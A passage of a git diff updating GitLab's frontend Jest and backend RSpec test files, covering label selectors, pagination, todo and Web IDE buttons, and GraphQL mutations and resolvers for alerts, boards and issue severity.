diff --git a/spec/frontend/vue_shared/components/sidebar/labels_select/dropdown_header_spec.js b/spec/frontend/vue_shared/components/sidebar/labels_select/dropdown_header_spec.js
index 2e721d75b40..0b9a7262e41 100644
--- a/spec/frontend/vue_shared/components/sidebar/labels_select/dropdown_header_spec.js
+++ b/spec/frontend/vue_shared/components/sidebar/labels_select/dropdown_header_spec.js
@@ -33,7 +33,7 @@ describe('DropdownHeaderComponent', () => {
);
expect(closeBtnEl).not.toBeNull();
- expect(closeBtnEl.querySelector('.fa-times.dropdown-menu-close-icon')).not.toBeNull();
+ expect(closeBtnEl.querySelector('.dropdown-menu-close-icon')).not.toBeNull();
});
});
});
diff --git a/spec/frontend/vue_shared/components/sidebar/labels_select/dropdown_value_collapsed_spec.js b/spec/frontend/vue_shared/components/sidebar/labels_select/dropdown_value_collapsed_spec.js
index e09f0006359..7847e0ee71d 100644
--- a/spec/frontend/vue_shared/components/sidebar/labels_select/dropdown_value_collapsed_spec.js
+++ b/spec/frontend/vue_shared/components/sidebar/labels_select/dropdown_value_collapsed_spec.js
@@ -87,7 +87,7 @@ describe('DropdownValueCollapsedComponent', () => {
});
it('renders tags icon element', () => {
- expect(vm.$el.querySelector('.fa-tags')).not.toBeNull();
+ expect(vm.$el.querySelector('[data-testid="labels-icon"]')).not.toBeNull();
});
it('renders labels count', () => {
diff --git a/spec/frontend/vue_shared/components/sidebar/labels_select/mock_data.js b/spec/frontend/vue_shared/components/sidebar/labels_select/mock_data.js
index 6564c012e67..648ba84fe8f 100644
--- a/spec/frontend/vue_shared/components/sidebar/labels_select/mock_data.js
+++ b/spec/frontend/vue_shared/components/sidebar/labels_select/mock_data.js
@@ -15,29 +15,29 @@ export const mockLabels = [
},
];
-export const mockSuggestedColors = [
- '#0033CC',
- '#428BCA',
- '#44AD8E',
- '#A8D695',
- '#5CB85C',
- '#69D100',
- '#004E00',
- '#34495E',
- '#7F8C8D',
- '#A295D6',
- '#5843AD',
- '#8E44AD',
- '#FFECDB',
- '#AD4363',
- '#D10069',
- '#CC0033',
- '#FF0000',
- '#D9534F',
- '#D1D100',
- '#F0AD4E',
- '#AD8D43',
-];
+export const mockSuggestedColors = {
+ '#0033CC': 'UA blue',
+ '#428BCA': 'Moderate blue',
+ '#44AD8E': 'Lime green',
+ '#A8D695': 'Feijoa',
+ '#5CB85C': 'Slightly desaturated green',
+ '#69D100': 'Bright green',
+ '#004E00': 'Very dark lime green',
+ '#34495E': 'Very dark desaturated blue',
+ '#7F8C8D': 'Dark grayish cyan',
+ '#A295D6': 'Slightly desaturated blue',
+ '#5843AD': 'Dark moderate blue',
+ '#8E44AD': 'Dark moderate violet',
+ '#FFECDB': 'Very pale orange',
+ '#AD4363': 'Dark moderate pink',
+ '#D10069': 'Strong pink',
+ '#CC0033': 'Strong red',
+ '#FF0000': 'Pure red',
+ '#D9534F': 'Soft red',
+ '#D1D100': 'Strong yellow',
+ '#F0AD4E': 'Soft orange',
+ '#AD8D43': 'Dark moderate orange',
+};
export const mockConfig = {
showCreate: true,
diff --git a/spec/frontend/vue_shared/components/sidebar/labels_select_vue/dropdown_button_spec.js b/spec/frontend/vue_shared/components/sidebar/labels_select_vue/dropdown_button_spec.js
index cb758797c63..951f706421f 100644
--- a/spec/frontend/vue_shared/components/sidebar/labels_select_vue/dropdown_button_spec.js
+++ b/spec/frontend/vue_shared/components/sidebar/labels_select_vue/dropdown_button_spec.js
@@ -62,7 +62,7 @@ describe('DropdownButton', () => {
describe('template', () => {
it('renders component container element', () => {
- expect(wrapper.is('gl-button-stub')).toBe(true);
+ expect(wrapper.find(GlButton).element).toBe(wrapper.element);
});
it('renders default button text element', () => {
diff --git a/spec/frontend/vue_shared/components/sidebar/labels_select_vue/labels_select_root_spec.js b/spec/frontend/vue_shared/components/sidebar/labels_select_vue/labels_select_root_spec.js
index a1e0db4d29e..8c17a974b39 100644
--- a/spec/frontend/vue_shared/components/sidebar/labels_select_vue/labels_select_root_spec.js
+++ b/spec/frontend/vue_shared/components/sidebar/labels_select_vue/labels_select_root_spec.js
@@ -65,6 +65,33 @@ describe('LabelsSelectRoot', () => {
]),
);
});
+
+ it('calls `handleDropdownClose` with state.labels filterd using `set` prop when dropdown variant is `embedded`', () => {
+ wrapper = createComponent({
+ ...mockConfig,
+ variant: 'embedded',
+ });
+
+ jest.spyOn(wrapper.vm, 'handleDropdownClose').mockImplementation();
+
+ wrapper.vm.handleVuexActionDispatch(
+ { type: 'toggleDropdownContents' },
+ {
+ showDropdownButton: false,
+ showDropdownContents: false,
+ labels: [{ id: 1 }, { id: 2, set: true }],
+ },
+ );
+
+ expect(wrapper.vm.handleDropdownClose).toHaveBeenCalledWith(
+ expect.arrayContaining([
+ {
+ id: 2,
+ set: true,
+ },
+ ]),
+ );
+ });
});
describe('handleDropdownClose', () => {
@@ -123,11 +150,10 @@ describe('LabelsSelectRoot', () => {
expect(wrapper.find(DropdownTitle).exists()).toBe(true);
});
- it('renders `dropdown-value` component with slot when `showDropdownButton` prop is `false`', () => {
+ it('renders `dropdown-value` component', () => {
const wrapperDropdownValue = createComponent(mockConfig, {
default: 'None',
});
- wrapperDropdownValue.vm.$store.state.showDropdownButton = false;
return wrapperDropdownValue.vm.$nextTick(() => {
const valueComp = wrapperDropdownValue.find(DropdownValue);
diff --git a/spec/frontend/vue_shared/components/sidebar/labels_select_vue/store/actions_spec.js b/spec/frontend/vue_shared/components/sidebar/labels_select_vue/store/actions_spec.js
index c742220ba8a..bfb8e263d81 100644
--- a/spec/frontend/vue_shared/components/sidebar/labels_select_vue/store/actions_spec.js
+++ b/spec/frontend/vue_shared/components/sidebar/labels_select_vue/store/actions_spec.js
@@ -259,6 +259,21 @@ describe('LabelsSelect Actions', () => {
});
});
+ describe('replaceSelectedLabels', () => {
+ it('replaces `state.selectedLabels`', done => {
+ const selectedLabels = [{ id: 1 }, { id: 2 }, { id: 3 }, { id: 4 }];
+
+ testAction(
+ actions.replaceSelectedLabels,
+ selectedLabels,
+ state,
+ [{ type: types.REPLACE_SELECTED_LABELS, payload: selectedLabels }],
+ [],
+ done,
+ );
+ });
+ });
+
describe('updateSelectedLabels', () => {
it('updates `state.labels` based on provided `labels` param', done => {
const labels = [{ id: 1 }, { id: 2 }, { id: 3 }, { id: 4 }];
diff --git a/spec/frontend/vue_shared/components/sidebar/labels_select_vue/store/mutations_spec.js b/spec/frontend/vue_shared/components/sidebar/labels_select_vue/store/mutations_spec.js
index 8081806e314..3414eec8a63 100644
--- a/spec/frontend/vue_shared/components/sidebar/labels_select_vue/store/mutations_spec.js
+++ b/spec/frontend/vue_shared/components/sidebar/labels_select_vue/store/mutations_spec.js
@@ -152,6 +152,19 @@ describe('LabelsSelect Mutations', () => {
});
});
+ describe(`${types.REPLACE_SELECTED_LABELS}`, () => {
+ it('replaces `state.selectedLabels`', () => {
+ const state = {
+ selectedLabels: [{ id: 1 }, { id: 2 }, { id: 3 }, { id: 4 }],
+ };
+ const newSelectedLabels = [{ id: 2 }, { id: 5 }];
+
+ mutations[types.REPLACE_SELECTED_LABELS](state, newSelectedLabels);
+
+ expect(state.selectedLabels).toEqual(newSelectedLabels);
+ });
+ });
+
describe(`${types.UPDATE_SELECTED_LABELS}`, () => {
const labels = [{ id: 1 }, { id: 2 }, { id: 3 }, { id: 4 }];
diff --git a/spec/frontend/vue_shared/components/table_pagination_spec.js b/spec/frontend/vue_shared/components/table_pagination_spec.js
index ef3ae088eec..058dfcdbde2 100644
--- a/spec/frontend/vue_shared/components/table_pagination_spec.js
+++ b/spec/frontend/vue_shared/components/table_pagination_spec.js
@@ -34,7 +34,7 @@ describe('Pagination component', () => {
change: spy,
});
- expect(wrapper.isEmpty()).toBe(true);
+ expect(wrapper.html()).toBe('');
});
it('renders if there is a next page', () => {
@@ -50,7 +50,7 @@ describe('Pagination component', () => {
change: spy,
});
- expect(wrapper.isEmpty()).toBe(false);
+ expect(wrapper.find(GlPagination).exists()).toBe(true);
});
it('renders if there is a prev page', () => {
@@ -66,7 +66,7 @@ describe('Pagination component', () => {
change: spy,
});
- expect(wrapper.isEmpty()).toBe(false);
+ expect(wrapper.find(GlPagination).exists()).toBe(true);
});
});
diff --git a/spec/frontend/vue_shared/components/todo_button_spec.js b/spec/frontend/vue_shared/components/todo_button_spec.js
new file mode 100644
index 00000000000..482b5de11f6
--- /dev/null
+++ b/spec/frontend/vue_shared/components/todo_button_spec.js
@@ -0,0 +1,48 @@
+import { shallowMount, mount } from '@vue/test-utils';
+import { GlButton } from '@gitlab/ui';
+import TodoButton from '~/vue_shared/components/todo_button.vue';
+
+describe('Todo Button', () => {
+ let wrapper;
+
+ const createComponent = (props = {}, mountFn = shallowMount) => {
+ wrapper = mountFn(TodoButton, {
+ propsData: {
+ ...props,
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('renders GlButton', () => {
+ createComponent();
+
+ expect(wrapper.find(GlButton).exists()).toBe(true);
+ });
+
+ it('emits click event when clicked', () => {
+ createComponent({}, mount);
+ wrapper.find(GlButton).trigger('click');
+
+ expect(wrapper.emitted().click).toBeTruthy();
+ });
+
+ it.each`
+ label | isTodo
+ ${'Mark as done'} | ${true}
+ ${'Add a To-Do'} | ${false}
+ `('sets correct label when isTodo is $isTodo', ({ label, isTodo }) => {
+ createComponent({ isTodo });
+
+ expect(wrapper.find(GlButton).text()).toBe(label);
+ });
+
+ it('binds additional props to GlButton', () => {
+ createComponent({ loading: true });
+
+ expect(wrapper.find(GlButton).props('loading')).toBe(true);
+ });
+});
diff --git a/spec/frontend/vue_shared/components/user_avatar/user_avatar_link_spec.js b/spec/frontend/vue_shared/components/user_avatar/user_avatar_link_spec.js
index 902e83da7be..84e7a6a162e 100644
--- a/spec/frontend/vue_shared/components/user_avatar/user_avatar_link_spec.js
+++ b/spec/frontend/vue_shared/components/user_avatar/user_avatar_link_spec.js
@@ -38,10 +38,6 @@ describe('User Avatar Link Component', () => {
wrapper = null;
});
- it('should return a defined Vue component', () => {
- expect(wrapper.isVueInstance()).toBe(true);
- });
-
it('should have user-avatar-image registered as child component', () => {
expect(wrapper.vm.$options.components.userAvatarImage).toBeDefined();
});
diff --git a/spec/frontend/vue_shared/components/user_popover/user_popover_spec.js b/spec/frontend/vue_shared/components/user_popover/user_popover_spec.js
index a4ff6ac0c16..b43bb6b10e0 100644
--- a/spec/frontend/vue_shared/components/user_popover/user_popover_spec.js
+++ b/spec/frontend/vue_shared/components/user_popover/user_popover_spec.js
@@ -1,7 +1,6 @@
-import { GlSkeletonLoading, GlSprintf } from '@gitlab/ui';
+import { GlDeprecatedSkeletonLoading as GlSkeletonLoading, GlSprintf, GlIcon } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
import UserPopover from '~/vue_shared/components/user_popover/user_popover.vue';
-import Icon from '~/vue_shared/components/icon.vue';
const DEFAULT_PROPS = {
user: {
@@ -74,7 +73,7 @@ describe('User Popover Component', () => {
});
it('shows icon for location', () => {
- const iconEl = wrapper.find(Icon);
+ const iconEl = wrapper.find(GlIcon);
expect(iconEl.props('name')).toEqual('location');
});
@@ -139,9 +138,9 @@ describe('User Popover Component', () => {
createWrapper({ user });
- expect(wrapper.findAll(Icon).filter(icon => icon.props('name') === 'profile').length).toEqual(
- 1,
- );
+ expect(
+ wrapper.findAll(GlIcon).filter(icon => icon.props('name') === 'profile').length,
+ ).toEqual(1);
});
it('shows icon for work information', () => {
@@ -152,7 +151,9 @@ describe('User Popover Component', () => {
createWrapper({ user });
- expect(wrapper.findAll(Icon).filter(icon => icon.props('name') === 'work').length).toEqual(1);
+ expect(wrapper.findAll(GlIcon).filter(icon => icon.props('name') === 'work').length).toEqual(
+ 1,
+ );
});
});
diff --git a/spec/frontend/vue_shared/components/web_ide_link_spec.js b/spec/frontend/vue_shared/components/web_ide_link_spec.js
new file mode 100644
index 00000000000..57f511903d9
--- /dev/null
+++ b/spec/frontend/vue_shared/components/web_ide_link_spec.js
@@ -0,0 +1,106 @@
+import { shallowMount } from '@vue/test-utils';
+import LocalStorageSync from '~/vue_shared/components/local_storage_sync.vue';
+import WebIdeLink from '~/vue_shared/components/web_ide_link.vue';
+import ActionsButton from '~/vue_shared/components/actions_button.vue';
+
+const TEST_WEB_IDE_URL = '/-/ide/project/gitlab-test/test/edit/master/-/';
+const TEST_GITPOD_URL = 'https://gitpod.test/';
+
+const ACTION_WEB_IDE = {
+ href: TEST_WEB_IDE_URL,
+ key: 'webide',
+ secondaryText: 'Quickly and easily edit multiple files in your project.',
+ tooltip: '',
+ text: 'Web IDE',
+ attrs: {
+ 'data-qa-selector': 'web_ide_button',
+ },
+};
+const ACTION_WEB_IDE_FORK = {
+ ...ACTION_WEB_IDE,
+ href: '#modal-confirm-fork',
+ handle: expect.any(Function),
+};
+const ACTION_GITPOD = {
+ href: TEST_GITPOD_URL,
+ key: 'gitpod',
+ secondaryText: 'Launch a ready-to-code development environment for your project.',
+ tooltip: 'Launch a ready-to-code development environment for your project.',
+ text: 'Gitpod',
+ attrs: {
+ 'data-qa-selector': 'gitpod_button',
+ },
+};
+const ACTION_GITPOD_ENABLE = {
+ ...ACTION_GITPOD,
+ href: '#modal-enable-gitpod',
+ handle: expect.any(Function),
+};
+
+describe('Web IDE link component', () => {
+ let wrapper;
+
+ function createComponent(props) {
+ wrapper = shallowMount(WebIdeLink, {
+ propsData: {
+ webIdeUrl: TEST_WEB_IDE_URL,
+ gitpodUrl: TEST_GITPOD_URL,
+ ...props,
+ },
+ });
+ }
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ const findActionsButton = () => wrapper.find(ActionsButton);
+ const findLocalStorageSync = () => wrapper.find(LocalStorageSync);
+
+ it.each`
+ props | expectedActions
+ ${{}} | ${[ACTION_WEB_IDE]}
+ ${{ needsToFork: true }} | ${[ACTION_WEB_IDE_FORK]}
+ ${{ showWebIdeButton: false, showGitpodButton: true, gitpodEnabled: true }} | ${[ACTION_GITPOD]}
+ ${{ showWebIdeButton: false, showGitpodButton: true, gitpodEnabled: false }} | ${[ACTION_GITPOD_ENABLE]}
+ ${{ showGitpodButton: true, gitpodEnabled: false }} | ${[ACTION_WEB_IDE, ACTION_GITPOD_ENABLE]}
+ `('renders actions with props=$props', ({ props, expectedActions }) => {
+ createComponent(props);
+
+ expect(findActionsButton().props('actions')).toEqual(expectedActions);
+ });
+
+ describe('with multiple actions', () => {
+ beforeEach(() => {
+ createComponent({ showWebIdeButton: true, showGitpodButton: true, gitpodEnabled: true });
+ });
+
+ it('selected Web IDE by default', () => {
+ expect(findActionsButton().props()).toMatchObject({
+ actions: [ACTION_WEB_IDE, ACTION_GITPOD],
+ selectedKey: ACTION_WEB_IDE.key,
+ });
+ });
+
+ it('should set selection with local storage value', async () => {
+ expect(findActionsButton().props('selectedKey')).toBe(ACTION_WEB_IDE.key);
+
+ findLocalStorageSync().vm.$emit('input', ACTION_GITPOD.key);
+
+ await wrapper.vm.$nextTick();
+
+ expect(findActionsButton().props('selectedKey')).toBe(ACTION_GITPOD.key);
+ });
+
+ it('should update local storage when selection changes', async () => {
+ expect(findLocalStorageSync().props('value')).toBe(ACTION_WEB_IDE.key);
+
+ findActionsButton().vm.$emit('select', ACTION_GITPOD.key);
+
+ await wrapper.vm.$nextTick();
+
+ expect(findActionsButton().props('selectedKey')).toBe(ACTION_GITPOD.key);
+ expect(findLocalStorageSync().props('value')).toBe(ACTION_GITPOD.key);
+ });
+ });
+});
diff --git a/spec/frontend/whats_new/components/app_spec.js b/spec/frontend/whats_new/components/app_spec.js
index a349aad9f1c..59d05f68fdd 100644
--- a/spec/frontend/whats_new/components/app_spec.js
+++ b/spec/frontend/whats_new/components/app_spec.js
@@ -11,9 +11,11 @@ describe('App', () => {
let store;
let actions;
let state;
+ let propsData = { features: '[ {"title":"Whats New Drawer"} ]' };
- beforeEach(() => {
+ const buildWrapper = () => {
actions = {
+ openDrawer: jest.fn(),
closeDrawer: jest.fn(),
};
@@ -29,7 +31,12 @@ describe('App', () => {
wrapper = mount(App, {
localVue,
store,
+ propsData,
});
+ };
+
+ beforeEach(() => {
+ buildWrapper();
});
afterEach(() => {
@@ -42,6 +49,10 @@ describe('App', () => {
expect(getDrawer().exists()).toBe(true);
});
+ it('dispatches openDrawer when mounted', () => {
+ expect(actions.openDrawer).toHaveBeenCalled();
+ });
+
it('dispatches closeDrawer when clicking close', () => {
getDrawer().vm.$emit('close');
expect(actions.closeDrawer).toHaveBeenCalled();
@@ -54,4 +65,15 @@ describe('App', () => {
expect(getDrawer().props('open')).toBe(openState);
});
+
+ it('renders features when provided as props', () => {
+ expect(wrapper.find('h5').text()).toBe('Whats New Drawer');
+ });
+
+ it('handles bad json argument gracefully', () => {
+ propsData = { features: 'this is not json' };
+ buildWrapper();
+
+ expect(getDrawer().exists()).toBe(true);
+ });
});
diff --git a/spec/frontend/whats_new/components/trigger_spec.js b/spec/frontend/whats_new/components/trigger_spec.js
deleted file mode 100644
index 7961957e077..00000000000
--- a/spec/frontend/whats_new/components/trigger_spec.js
+++ /dev/null
@@ -1,43 +0,0 @@
-import { createLocalVue, mount } from '@vue/test-utils';
-import Vuex from 'vuex';
-import { GlButton } from '@gitlab/ui';
-import Trigger from '~/whats_new/components/trigger.vue';
-
-const localVue = createLocalVue();
-localVue.use(Vuex);
-
-describe('Trigger', () => {
- let wrapper;
- let store;
- let actions;
- let state;
-
- beforeEach(() => {
- actions = {
- openDrawer: jest.fn(),
- };
-
- state = {
- open: true,
- };
-
- store = new Vuex.Store({
- actions,
- state,
- });
-
- wrapper = mount(Trigger, {
- localVue,
- store,
- });
- });
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- it('dispatches openDrawer when clicking close', () => {
- wrapper.find(GlButton).vm.$emit('click');
- expect(actions.openDrawer).toHaveBeenCalled();
- });
-});
diff --git a/spec/frontend_integration/test_helpers/factories/commit.js b/spec/frontend_integration/test_helpers/factories/commit.js
index 1ee82e74ffe..09bb5fd589b 100644
--- a/spec/frontend_integration/test_helpers/factories/commit.js
+++ b/spec/frontend_integration/test_helpers/factories/commit.js
@@ -2,7 +2,6 @@ import { withValues } from '../utils/obj';
import { getCommit } from '../fixtures';
import { createCommitId } from './commit_id';
-// eslint-disable-next-line import/prefer-default-export
export const createNewCommit = ({ id = createCommitId(), message }, orig = getCommit()) => {
return withValues(orig, {
id,
diff --git a/spec/frontend_integration/test_helpers/mock_server/graphql.js b/spec/frontend_integration/test_helpers/mock_server/graphql.js
index 6dcc4798378..654c373e5a6 100644
--- a/spec/frontend_integration/test_helpers/mock_server/graphql.js
+++ b/spec/frontend_integration/test_helpers/mock_server/graphql.js
@@ -16,6 +16,5 @@ const graphqlResolvers = {
},
};
-// eslint-disable-next-line import/prefer-default-export
export const graphqlQuery = (query, variables, schema) =>
graphql(graphqlSchema, query, graphqlResolvers, schema, variables);
diff --git a/spec/frontend_integration/test_helpers/utils/overclock_timers.js b/spec/frontend_integration/test_helpers/utils/overclock_timers.js
index 046c7f8e527..7df8af30a61 100644
--- a/spec/frontend_integration/test_helpers/utils/overclock_timers.js
+++ b/spec/frontend_integration/test_helpers/utils/overclock_timers.js
@@ -31,7 +31,6 @@
*
* @param {Number} boost
*/
-// eslint-disable-next-line import/prefer-default-export
export const useOverclockTimers = (boost = 50) => {
if (boost <= 0) {
throw new Error(`[overclock_timers] boost (${boost}) cannot be <= 0`);
diff --git a/spec/graphql/gitlab_schema_spec.rb b/spec/graphql/gitlab_schema_spec.rb
index e52f60a2c02..4db12643069 100644
--- a/spec/graphql/gitlab_schema_spec.rb
+++ b/spec/graphql/gitlab_schema_spec.rb
@@ -237,7 +237,7 @@ RSpec.describe GitlabSchema do
it 'raises an error' do
expect { described_class.parse_gid(global_id) }
- .to raise_error(Gitlab::Graphql::Errors::ArgumentError, "#{global_id} is not a valid GitLab id.")
+ .to raise_error(Gitlab::Graphql::Errors::ArgumentError, "#{global_id} is not a valid GitLab ID.")
end
end
@@ -256,7 +256,7 @@ RSpec.describe GitlabSchema do
it 'rejects an unknown type' do
expect { described_class.parse_gid(global_id, expected_type: TestTwo) }
- .to raise_error(Gitlab::Graphql::Errors::ArgumentError, "#{global_id} is not a valid id for TestTwo.")
+ .to raise_error(Gitlab::Graphql::Errors::ArgumentError, "#{global_id} is not a valid ID for TestTwo.")
end
end
end
diff --git a/spec/graphql/mutations/alert_management/alerts/set_assignees_spec.rb b/spec/graphql/mutations/alert_management/alerts/set_assignees_spec.rb
index f8b61c5064a..31abbabe385 100644
--- a/spec/graphql/mutations/alert_management/alerts/set_assignees_spec.rb
+++ b/spec/graphql/mutations/alert_management/alerts/set_assignees_spec.rb
@@ -55,6 +55,7 @@ RSpec.describe Mutations::AlertManagement::Alerts::SetAssignees do
context 'when operation mode is not specified' do
it_behaves_like 'successful resolution'
+ it_behaves_like 'an incident management tracked event', :incident_management_alert_assigned
end
context 'when user does not have permission to update alerts' do
diff --git a/spec/graphql/mutations/alert_management/alerts/todo/create_spec.rb b/spec/graphql/mutations/alert_management/alerts/todo/create_spec.rb
index 11ee40a4c7e..a10c3725ba2 100644
--- a/spec/graphql/mutations/alert_management/alerts/todo/create_spec.rb
+++ b/spec/graphql/mutations/alert_management/alerts/todo/create_spec.rb
@@ -16,6 +16,8 @@ RSpec.describe Mutations::AlertManagement::Alerts::Todo::Create do
describe '#resolve' do
subject(:resolve) { mutation.resolve(args) }
+ it_behaves_like 'an incident management tracked event', :incident_management_alert_todo
+
context 'when user does not have permissions' do
let(:current_user) { nil }
diff --git a/spec/graphql/mutations/alert_management/create_alert_issue_spec.rb b/spec/graphql/mutations/alert_management/create_alert_issue_spec.rb
index fa5a84b4fcc..e6a7434d579 100644
--- a/spec/graphql/mutations/alert_management/create_alert_issue_spec.rb
+++ b/spec/graphql/mutations/alert_management/create_alert_issue_spec.rb
@@ -26,6 +26,8 @@ RSpec.describe Mutations::AlertManagement::CreateAlertIssue do
errors: []
)
end
+
+ it_behaves_like 'an incident management tracked event', :incident_management_incident_created
end
context 'when CreateAlertIssue responds with an error' do
diff --git a/spec/graphql/mutations/alert_management/update_alert_status_spec.rb b/spec/graphql/mutations/alert_management/update_alert_status_spec.rb
index a224b564de9..ab98088ebcd 100644
--- a/spec/graphql/mutations/alert_management/update_alert_status_spec.rb
+++ b/spec/graphql/mutations/alert_management/update_alert_status_spec.rb
@@ -30,6 +30,10 @@ RSpec.describe Mutations::AlertManagement::UpdateAlertStatus do
)
end
+ it_behaves_like 'an incident management tracked event', :incident_management_alert_status_changed do
+ let(:user) { current_user }
+ end
+
context 'error occurs when updating' do
it 'returns the alert with errors' do
# Stub an error on the alert
diff --git a/spec/graphql/mutations/boards/lists/create_spec.rb b/spec/graphql/mutations/boards/lists/create_spec.rb
index 1a881ac81e8..b1fe9911c7b 100644
--- a/spec/graphql/mutations/boards/lists/create_spec.rb
+++ b/spec/graphql/mutations/boards/lists/create_spec.rb
@@ -24,14 +24,12 @@ RSpec.describe Mutations::Boards::Lists::Create do
describe '#ready?' do
it 'raises an error if required arguments are missing' do
expect { mutation.ready?({ board_id: 'some id' }) }
- .to raise_error(Gitlab::Graphql::Errors::ArgumentError,
- 'one and only one of backlog or labelId is required')
+ .to raise_error(Gitlab::Graphql::Errors::ArgumentError, /one and only one of/)
end
it 'raises an error if too many required arguments are specified' do
expect { mutation.ready?({ board_id: 'some id', backlog: true, label_id: 'some label' }) }
- .to raise_error(Gitlab::Graphql::Errors::ArgumentError,
- 'one and only one of backlog or labelId is required')
+ .to raise_error(Gitlab::Graphql::Errors::ArgumentError, /one and only one of/)
end
end
@@ -66,6 +64,15 @@ RSpec.describe Mutations::Boards::Lists::Create do
expect(new_list.title).to eq dev_label.title
expect(new_list.position).to eq 0
end
+
+ context 'when label not found' do
+ let(:list_create_params) { { label_id: "gid://gitlab/Label/#{non_existing_record_id}" } }
+
+ it 'raises an error' do
+ expect { subject }
+ .to raise_error(Gitlab::Graphql::Errors::ArgumentError, 'Label not found!')
+ end
+ end
end
end
diff --git a/spec/graphql/mutations/discussions/toggle_resolve_spec.rb b/spec/graphql/mutations/discussions/toggle_resolve_spec.rb
index 9ac4d6ab165..d779a2227c1 100644
--- a/spec/graphql/mutations/discussions/toggle_resolve_spec.rb
+++ b/spec/graphql/mutations/discussions/toggle_resolve_spec.rb
@@ -51,7 +51,7 @@ RSpec.describe Mutations::Discussions::ToggleResolve do
it 'raises an error' do
expect { subject }.to raise_error(
Gitlab::Graphql::Errors::ArgumentError,
- "#{discussion.to_global_id} is not a valid id for Discussion."
+ "#{discussion.to_global_id} is not a valid ID for Discussion."
)
end
end
diff --git a/spec/graphql/mutations/issues/set_severity_spec.rb b/spec/graphql/mutations/issues/set_severity_spec.rb
new file mode 100644
index 00000000000..ed73d3b777e
--- /dev/null
+++ b/spec/graphql/mutations/issues/set_severity_spec.rb
@@ -0,0 +1,62 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Mutations::Issues::SetSeverity do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:issue) { create(:incident) }
+ let(:mutation) { described_class.new(object: nil, context: { current_user: user }, field: nil) }
+
+ specify { expect(described_class).to require_graphql_authorizations(:update_issue) }
+
+ describe '#resolve' do
+ let(:severity) { 'CRITICAL' }
+ let(:mutated_incident) { subject[:issue] }
+
+ subject(:resolve) { mutation.resolve(project_path: issue.project.full_path, iid: issue.iid, severity: severity) }
+
+ context 'when the user cannot update the issue' do
+ it 'raises an error' do
+ expect { resolve }.to raise_error(Gitlab::Graphql::Errors::ResourceNotAvailable)
+ end
+ end
+
+ context 'when the user can update the issue' do
+ before do
+ issue.project.add_developer(user)
+ end
+
+ context 'when issue type is incident' do
+ context 'when severity has a correct value' do
+ it 'updates severity' do
+ expect(resolve[:issue].severity).to eq('critical')
+ end
+
+ it 'returns no errors' do
+ expect(resolve[:errors]).to be_empty
+ end
+ end
+
+ context 'when severity has an unsuported value' do
+ let(:severity) { 'unsupported-severity' }
+
+ it 'sets severity to default' do
+ expect(resolve[:issue].severity).to eq(IssuableSeverity::DEFAULT)
+ end
+
+ it 'returns no errorsr' do
+ expect(resolve[:errors]).to be_empty
+ end
+ end
+ end
+
+ context 'when issue type is not incident' do
+ let!(:issue) { create(:issue) }
+
+ it 'does not updates the issue' do
+ expect { resolve }.not_to change { issue.updated_at }
+ end
+ end
+ end
+ end
+end
diff --git a/spec/graphql/resolvers/admin/analytics/instance_statistics/measurements_resolver_spec.rb b/spec/graphql/resolvers/admin/analytics/instance_statistics/measurements_resolver_spec.rb
new file mode 100644
index 00000000000..76854be2daa
--- /dev/null
+++ b/spec/graphql/resolvers/admin/analytics/instance_statistics/measurements_resolver_spec.rb
@@ -0,0 +1,47 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Resolvers::Admin::Analytics::InstanceStatistics::MeasurementsResolver do
+ include GraphqlHelpers
+
+ describe '#resolve' do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:admin_user) { create(:user, :admin) }
+
+ let_it_be(:project_measurement_new) { create(:instance_statistics_measurement, :project_count, recorded_at: 2.days.ago) }
+ let_it_be(:project_measurement_old) { create(:instance_statistics_measurement, :project_count, recorded_at: 10.days.ago) }
+
+ subject { resolve_measurements({ identifier: 'projects' }, { current_user: current_user }) }
+
+ context 'when requesting project count measurements' do
+ context 'as an admin user' do
+ let(:current_user) { admin_user }
+
+ it 'returns the records, latest first' do
+ expect(subject).to eq([project_measurement_new, project_measurement_old])
+ end
+ end
+
+ context 'as a non-admin user' do
+ let(:current_user) { user }
+
+ it 'raises ResourceNotAvailable error' do
+ expect { subject }.to raise_error(Gitlab::Graphql::Errors::ResourceNotAvailable)
+ end
+ end
+
+ context 'as an unauthenticated user' do
+ let(:current_user) { nil }
+
+ it 'raises ResourceNotAvailable error' do
+ expect { subject }.to raise_error(Gitlab::Graphql::Errors::ResourceNotAvailable)
+ end
+ end
+ end
+ end
+
+ def resolve_measurements(args = {}, context = {})
+ resolve(described_class, args: args, ctx: context)
+ end
+end
diff --git a/spec/graphql/resolvers/board_list_issues_resolver_spec.rb b/spec/graphql/resolvers/board_list_issues_resolver_spec.rb
index e23a37b3d69..4ccf194522f 100644
--- a/spec/graphql/resolvers/board_list_issues_resolver_spec.rb
+++ b/spec/graphql/resolvers/board_list_issues_resolver_spec.rb
@@ -11,41 +11,59 @@ RSpec.describe Resolvers::BoardListIssuesResolver do
let_it_be(:group) { create(:group, :private) }
shared_examples_for 'group and project board list issues resolver' do
- let!(:board) { create(:board, resource_parent: board_parent) }
-
before do
board_parent.add_developer(user)
end
# auth is handled by the parent object
context 'when authorized' do
- let!(:list) { create(:list, board: board, label: label) }
+ let!(:issue1) { create(:issue, project: project, labels: [label], relative_position: 10) }
+ let!(:issue2) { create(:issue, project: project, labels: [label, label2], relative_position: 12) }
+ let!(:issue3) { create(:issue, project: project, labels: [label, label3], relative_position: 10) }
it 'returns the issues in the correct order' do
- issue1 = create(:issue, project: project, labels: [label], relative_position: 10)
- issue2 = create(:issue, project: project, labels: [label], relative_position: 12)
- issue3 = create(:issue, project: project, labels: [label], relative_position: 10)
-
# by relative_position and then ID
issues = resolve_board_list_issues.items
expect(issues.map(&:id)).to eq [issue3.id, issue1.id, issue2.id]
end
+
+ it 'finds only issues matching filters' do
+ result = resolve_board_list_issues(args: { filters: { label_name: label.title, not: { label_name: label2.title } } }).items
+
+ expect(result).to match_array([issue1, issue3])
+ end
+
+ it 'finds only issues matching search param' do
+ result = resolve_board_list_issues(args: { filters: { search: issue1.title } }).items
+
+ expect(result).to match_array([issue1])
+ end
end
end
describe '#resolve' do
context 'when project boards' do
+ let_it_be(:label) { create(:label, project: user_project) }
